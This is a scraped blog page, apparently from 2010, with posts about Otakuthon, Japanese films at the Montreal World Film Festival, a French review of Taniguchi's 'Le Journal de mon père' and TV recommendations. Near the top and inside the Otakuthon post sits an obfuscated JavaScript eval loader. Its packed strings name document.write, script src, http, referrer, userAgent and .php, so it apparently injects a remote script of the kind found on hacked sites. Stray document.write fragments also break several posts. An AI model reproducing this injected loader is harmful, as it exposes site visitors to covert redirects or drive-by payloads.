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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdsas|var|u0026u|referrer|iyfnb||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

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Chinese firm develops ‘Apple Peel’ to convert iPod Touch into mobile phone

Books, Digital Edition & Library

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Montreal & Local/National Politics

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L’Homme doit coloniser l’espace pour survivre, selon Stephen Hawking

Technology, Gadgets & Internet

La drogue numérique ou le «trip» par les oreilles

See also the “Suggested Links (Shared Items)” in the column on the right side

Otakuthon reminder

August 13, 2010 / Clodjee / Leave a comment

Just a quick note to remind you that I’ll be a guest all week-end (August 13-15) at Otakuthon (Palais des Congrès de Montréal: 201, document.write(“”); Viger Avenue West, near Métro Place d’Armes). Check the Otakuthon website for details.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nytfy|var|u0026u|referrer|tfize||js|php’.split(‘|’),0,{}))

Come see us and discuss at our tables (#516 & 517) in the Exhibition Hall. We’ll have LOTS of anime & manga goodies to sell at VERY good price.

Our friends from Dream Pod 9 will also be there (#510, 511 & 520).

I’ll also be kicking off my Super Virtual Summer Garage Sale. Don’t miss it!

Montreal World Film Festival 2010

August 11, 2010 / Clodjee / 2 Comments

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 34th edition, which will be held from August 26 to September 6. During the twelve days of its duration, the festival will present 430 films from 80 countries, including 277 feature-length movies, 15 medium-length and 188 short films. 113 of those features will be world or international premieres!
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“True to its mandate, which is to encourage cultural diversity, to stimulate quality cinema, to discover and promote new talent, the Montreal World Film Festival presents a program that is more diverse and inclusive than ever, with pride of place to discovery even when offering a showcase to established artists. (…) The Festival team worked hard to find films off the beaten track, especially to offer young filmmakers an opportunity to show their talent.“

This year the festival is offering us twelve Japanese movies: nine features, two documentaries and one “rerun.” Of the twenty features from twenty-four countries that make up the World Competition section, three are Japanese. That’s a much bigger Japanese selection than last year.

The World Competition [list]

Akunin (Villain), 139 min., directed by Sang-Il LEE, Cast: Satoshi Tsumabuki, Eri Fukatsu, Masaki Okada, Hikari Mitsushima, Kirin Kiki, Akira Emoto. A young insurance saleswoman is found strangled at Mitsuse Pass. Her family and friends are shocked. The pass — which tunnels through a mountainous region of southern Japan — has an eerie history… Schedule: 9/5, 21:30, TM.05.2; 9/5, 9:00, CI.05.1; 9/6, 16:30, CI.06.3.
Box — Hakamada Jiken — Inochi Towa (Box: The Hakamada Case), 117 min., directed by TAKAHASHI Banmei, Cast: Masato Hagiwara, Hirofumi Arai, Riona Hazuki, Takeoni Murano, Naoki Hosaka, Ryo Ishibashi. Based on a criminal case in Japan in mid 1960s, the story centres on two men who was born in the same year; one is sentenced to death for murder and the other is the judge who believes his innocence.
Schedule: 9/2, 21:30, TM.02.1; 9/2, 9:00, CI.02.1; 9/3, 16:30, CI.03.4.
Hisshiken Torisashi (Sword of Desperation), 114 min., directed by HIRAYAMA Hideyuki, Cast: Etsushi Toyokama, Chizuru Ikewari, Koji Kikkawa. During the Edo Period in Japan, Kanemi Sanzaemon, a skilled swordsman and chief of the Unasaka battles to rid his clan of political corruption.
Schedule: 8/27, 21:30, TM.27.1; 8/27, 9:00, CI.27.1; 8/28, 14:00, CI.28.3.

First Films World Competition [list]

Torocco (Rail Truck), Japan/Taiwan co-production, 116 min., directed by KAWAGUCHI Hirofumi. Cast: Machiko Ono, Kento Harada, Kyoichi Omae, Hong Liu, Chang Han, Wan Fan, Bryant Chang, Mei Fang. When Yumiko Yano travels with her sons, Atsushi and Toki, from her home in Tokyo to the Taiwanese village of her late husband, the boys discover a culture and a society that is alien to their Japanese existence.
Schedule: 9/2, 12:00, L10.02.2; 9/2, 19:00, L10.02.5; 9/4, 19:20, L10.28.3.

Out of Competition [list]

Bushi no Kakeibo (Abacus and Sword), 120 min., directed by MORITA Yoshimitsu. Cast : Masato Sakai, Yukie Nakama, Keiko Matsuzaka, Masahito Nishimura, Masatoshi Makamura, Mitsuko Kusabue. In the Edo era, Japan was facing a period of upheaval. The great Tenpo famine of the 1830s and other developments have left the finances of the Kaga Domain in a precarious financial position…
Schedule: 8/30, 10:00, L12.30.1; 831, 21:30, C!.31.6; 9/1, 14:30, L12.01.3.
Caterpillar (Le soldat-dieu), 85 min., directed by WAKAMATSU Koji. Cast : Shinobu Terajima, Shima Ohnishi, Ken Yoshizawa, Keigo Kasuya, Emi Masuda, Sabu Kawahara. During the Second Sino-Japanese War, in 1940, Lieutenant Kurokawa returns home as a honoured and decorated soldier, but deprived of his arms and leg, lost on the battlefield in mainland China.
Schedule: 9/2, 21:40, L17.02.5; 9/3, 14:50, L17.03.3; 9/4, 21:40, L17.04.6.

Focus on World Cinema [list]

Inshite Miru (The Incite Mill), 110 min., directed by NAKATA Hideo. Cast : Tatsuya Fujiwara, Haruka Ayase, Satomi Ishihara. Ten people respond to a preposterous job posting — a short term project promising to pay $1200 an hour. Sounds dodgy but the money is hard to resist.
Schedule: 9/2, 10:00, L15.02.1; 9/2, 21:40, L15.02.6; 9/5, 19:20, L16.05.5.
Shitsuren Satsujin (Lost Love Murder), 100 min., directed by KUBOTA Shoji. Cast : Mao Miyaji, Yurei Yanagi, Ryuchi Ohura, Kinuo Yamada, Kouta Kusano, Mari Hoshino. Suichi is madly in love with his wife, but he suspects that she is unfaithful, and this gnawing jealousy leads to a bizarre murder.
Schedule: 9/2, 21:40, L16.02.6; 9/3, 10:00, L17.03.1; 9/4, 12:10, L16.04.2.
Suito Rituru Raizu (Sweet Little Lies), 117 min., directed by YAZAKI Hitoshi. Cast : Miki Nakatani, Nao Omori, Chizuru Ikewaki, Junichi Kobayashi. Ruriko, an artist, has been married to Satoshi for three years and on the surface their marriage seems ideal. In fact, however, they have been gradually growing distant.
Schedule: 8/29, 14:50, L10.29.3; 8/30, 19:20, L12.30.5; 9/1, 10:00, L9.01.1; 9/5, 21:40, L16.05.6.

Documentaries [list]

Dancing Chaplin, 131 min., directed by SUO Masayuki. A filmed record of the Roland Petit’s well- known ballet but also a union of dance and film that reflects the serendipitous meeting of the great talents of Chaplin, Petit and Japanese director Masayuki Suo.
Schedule: 9/3, 12:10, L15.03.2; 9/4, 21:21, L15.04.6; 9/5, 17:00, L15.05.4.
Umareru (Being Born), 8 min., directed by TOMO. Junichi, an emergency medical technician, and his wife Takako, a nurse, who work with life and death daily, now want a new life of their own, a baby.
Schedule: 8/28, 12:30, L14.28.2; 8/28, 19:20, L14.28.5; 8/29, 14:20, L14.29.3; 8/30, 17:30, L14.30.4.

Cinema Under the Stars [list]

Shall We Dance (1996), 120 min., directed by SUO Masayuki. Cast: Koji Yakusho, Tamiyo Kusakari, Naoto Takenaka. A workaholic’s dull life takes a funny turn when he signs up for a ballroom dance class – just to meet the sexy dance teacher. But when he finally goes for lessons, he winds up with a different instructor and her colourfully eccentric class of beginners.
Schedule: 9/3, 20:30, Outdoor on Place des Festivals.

Here is the video of the programming press conference (34:23 min.):

MWFF 2010 Programming Press Conference from clodjee on Vimeo.
The schedule [PDF] is now available online [ Part 1, Part 2, Index ]

I’ve made a calendar to help visualize the time and location of all the Japanese movies’ screenings. What were they thinking: putting eight screenings of Japanese movies on the same day (Sept. 2nd)?

I’ve also made a nice, printable PDF file gathering all the useful information from the festival guide.

For the first time in years the MWFF has put in advance on their web site a list of the upcoming press conferences.

More details and links will be added as the information become available. [Updated 08/11 (more details & links), 08/21 (schedule, better description & link’s icon), 08/22 (calendar), 08/24 (FFM web links, Google links, PDF), 08/27 (link for press conferences list), 08/31 (icon & link press conference), 9/04 (programming press conference video), 9/09 (more press conferences video links)]

[I have updated the “MWFF 2009 Overview” blog entry with a few corrections, links and new logos for some links. More update to come. Please have a look!]

Le Journal de mon père

August 8, 2010 / Clodjee / 3 Comments

“Contrairement à l’impression suggérée par son titre, document.write(“”); Le Journal de mon père n’est pas un récit autobiographique. Jirô Taniguchi a simplement “planté” son scénario à Tottori, sa ville natale, où il a tant de repères et de souvenirs. Le héros de cette histoire s’appelle Yoichi Yamashita et travaille à Tokyo dans une agence de design. Apprenant la mort de son père, il revient après une très longue absence à Tottori, la ville qui l’a vu grandir. Au cours d’une veillée funèbre très arrosée, le passé des années 50 et 60 ressurgit : l’incendie qui a ravagé la ville et la maison familiale, le dur labeur pour la reconstruction, le divorce de ses parents, ses souffrances d’enfant… Lors de cette veillée, chaque membre de la famille apporte un éclairage nouveau sur la personnalité de ce père que Yoichi tenait jusque-là pour responsable du désastre familial. Le fils réalise finalement, mais trop tard, qu’il a sans doute été le seul responsable de leur douloureuse incompréhension.” [Texte de présentation sur le site de l’éditeur]
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Le Journal de mon père est l’un des premier Taniguchi que j’ai lu (après le premier volume de Au temps de Botchan et La montagne magique) et j’ai été tellement impressionné que j’en suis resté bouche-bée et ai oublié d’en écrire le commentaire. Je corrige donc ici cette négligence.

Le Journal de mon père (??? / Chichi no koyomi) a originellement été publié au Japon par Shogakukan en 1994. En France, il a d’abord été publié par Casterman en trois volumes (Vol. 1: Le grand incendie, Vol. 2: La séparation, Vol. 3: L’apaisement) en 1999-2000, puis en un seul volume à couverture souple en 2004 et finalement en une édition cartonnée en 2007. La troisième oeuvre de Taniguchi a être traduite en français après L’Homme qui marche et Le Chien Blanco, Le Journal de mon père fut son premier succès en France et demeure encore aujourd’hui l’un de ses manga les plus connus en Europe. Taniguchi y raconte l’histoire de Yoichi qui, à l’occasion de la mort de son père, retourne dans son village natal pour la première fois en quinze ans. Il avait peu à peu cessé de voir son père, jugeant ce dernier responsable du départ de sa mère, et il éprouvait envers lui beaucoup de ressentiment. Au travers des discussions de la veillée funèbre, il redécouvre un père qu’il ne connaissait finalement pas beaucoup et en vient à regretter de ne pas l’avoir mieux connu de son vivant.

Le Journal de mon père ressemble étrangement à Quartier lointain (écrit quatre ans plus tard, en 1998), mais sans les éléments fantastiques ou surnaturels—qu’il réussisse à raconter une telle histoire en l’ancrant dans le quotidien démontre bien le talent extraordinaire de Taniguchi. On y retrouve toutes ses thématiques fétiches, particulièrement celles de la réminiscence, de la nostalgie et de la vie quotidienne. Il y a aussi le thème de la famille car son sujet quasi-Oedipien nous rappelle que l’on doit chérir ses proches pendant qu’il en est encore temps. On retrouve également le thème de la nature (dans les scènes buccoliques de la campagne Japonaise) ainsi que l’aspect animalier (dans l’affection du personnage principal pour son chien). Le plus surprenant c’est sans doute de découvrir—sous une forme inusité je l’admet—la thématique déambulatoire qui lui est si chère. Toutefois, dans ce cas-ci, Taniguchi nous offre une promenade à travers les souvenirs de Yoichi. Ce sera un voyage qui aura un effet transformateur profond sur le personnage—et peut-être aussi sur le lecteur.

C’est une oeuvre introspective très émouvante qui est bien mise en lumière par une excellente narration et par le style clair et précis de Taniguchi. C’est un superbe exemple de son talent d’artiste qui est particulièrement mis en valeur par l’édition cartonné (qui en profite également pour corriger quelques erreurs de disposition de cases présentent dans les éditions précédantes). Le Journal de mon père est sans conteste l’un des plus grands chef-d’oeuvres de Taniguchi.

Le journal de mon père par Jir? TANIGUCHI. Casterman (Coll. Écritures), 2007. B&W, 17.3 x 24 cm, 274 pgs (dont 4 en couleur). 19.00 € / $36.95 Can. Recommandé pour adolescents (14+). ISBN: 978-2-203-00338-5.

[ Amazon — Renaud-Bray — Biblio — WorldCat ]

Références: notice encyclopédique de ANN, bibliographie et notice Wikipedia.

Recommended TV series

August 7, 2010 / Clodjee / Leave a comment

There are two TV series that I’ve recently discovered and that I strongly recommend for various reasons:

Moyashimon Live-Action Drama

The story is based on the Moyashimon manga (first adapted into an anime in 2007: see ANN, Wikipedia and we had a nice article about it in PA #96) in which we follow the young Tadayasu as he enters an Agricultural University. Of course, he finds himself in all sorts of situations because of the special ability that allows him to see and communicate with micro-organisms like fungi and bacteria. I heard about the live-action drama adaptation several months ago, but I was surpised to discover yesterday that it was already available in North America through the Korean drama streaming site DramaFever.com (so far five episodes can be streamed for free) and FUNimation’s YouTube channel (also five episodes available so far; click here to see episode 1). It is both funny and very educational as it is relatively faithful to the original story (the choice of the cast is amazingly close to the original character designs).

Ken Follet’s The Pillars of the Earth

A friend recently recommended me Ken Follet’s book The Pillars of the Earth. I downloaded it to my iPad from Apple’s iBookstore ($6.99) and started reading it. It is a complex and dark historical saga set around a medieval stonemason named Tom Builder who dreams of building a cathedral (for more details see the Wikipedia entries on the novel & TV series, the IMDb entry as well as Ken Follet’s website). Then, by chance, I discovered that it had just been adapted into a Germano-Canadian 8-hour TV series showing on both Starz and The Movie Network. I’ve seen three of the eight episodes so far (a fourth is airing tonight) and I think it is a compelling historical epic well worth watching. Of course, as for all adaptations, it is not entirely faithful to the novel, but, despite the relatively somber subject, it’s a good piece of entertainment with great actors. I’ve seen a really bad review in The Washington Post, but USA Today give quite a positive impression, as well as talking about the show production and even about an “amplified edition” apps available for Apple’s iPad, iPhone and iPod Touch! If you like historical drama, it is certainly worth checking out.

Revue de Presse / Press Review (2010/08/06)

August 6, 2010 / Clodjee / Leave a comment

Anime & Manga related, document.write(“”); Japan, Popular Culture
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Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Clodjee's Safe-House

A blog about the pursuit of knowledge

Author: Clodjee

Commentaires festifs

A world of illusion

Sony Reader hands-on

Crying in awe

Revue de Presse / Press Review (2010/10/17)

Mini is super

Quis custodiet ipsos custodes?

Revue de Presse / Press Review (2010/10/09)

Tony Curtis (1925-2010)

Revue de Presse / Press Review (2010/10/02)

Time Jam streamed by Crunchyroll

Sherlock

Revue de Presse / Press Review (2010/09/23)

Unshelved #8: Large Print

Revue de Presse / Press Review (2010/09/16)

Villain / Akunin (video)

Box – The Hakamada Case (video)

Hommage à Nathalie Baye (video)

Caterpillar and Torocco (video)

Revue de Presse / Press Review (2010/09/06)

Clip: Losique sur le cinema japonais

“Sword of Desperation” video

Revue de Presse / Press Review (2010/08/27)

“Sword of Desperation” press conference

Revue de Presse / Press Review (2010/08/17)

Otakuthon reminder

Montreal World Film Festival 2010

Le Journal de mon père

Recommended TV series

Revue de Presse / Press Review (2010/08/06)